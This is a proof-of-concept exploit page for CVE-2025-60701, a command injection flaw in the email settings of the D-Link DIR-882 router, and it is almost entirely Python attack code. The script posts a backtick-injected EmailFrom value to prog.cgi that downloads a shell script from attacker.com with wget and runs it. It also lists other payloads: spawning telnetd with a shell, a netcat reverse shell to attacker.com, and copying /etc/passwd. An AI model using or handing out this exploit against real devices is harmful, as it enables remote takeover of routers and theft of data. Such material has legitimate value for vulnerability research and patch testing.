CVE-2025-60701 D-Link DIR-882路由器邮件配置参数命令注入漏洞

import requests # CVE-2025-60701 PoC - D-Link DIR-882 Command Injection # Target: D-Link DIR-882 Router (Firmware DIR882A1_FW102B02) # Vulnerability: Command Injection in email configuration parameters target_ip = "192.168.0.1" # Router IP address target_url = f"http://{target_ip}/prog.cgi" # Malicious payload - injects command to create reverse shell # Using backticks to execute arbitrary command payload = { "EmailFrom": "`wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh`", "EmailTo": "[email protected]", "SMTPServerAddress": "smtp.attacker.com", "SMTPServerPort": "25", "AccountName": "admin" } print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload: {payload}") try: # Send POST request with malicious parameters response = requests.post(target_url, data=payload, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] Alternative payload examples:") print("EmailFrom: \`telnetd -p 8080 -l /bin/sh\`") print("EmailTo: \`nc -e /bin/sh attacker.com 4444\`") print("SMTPServerAddress: \`cat /etc/passwd > /tmp/passwd\`")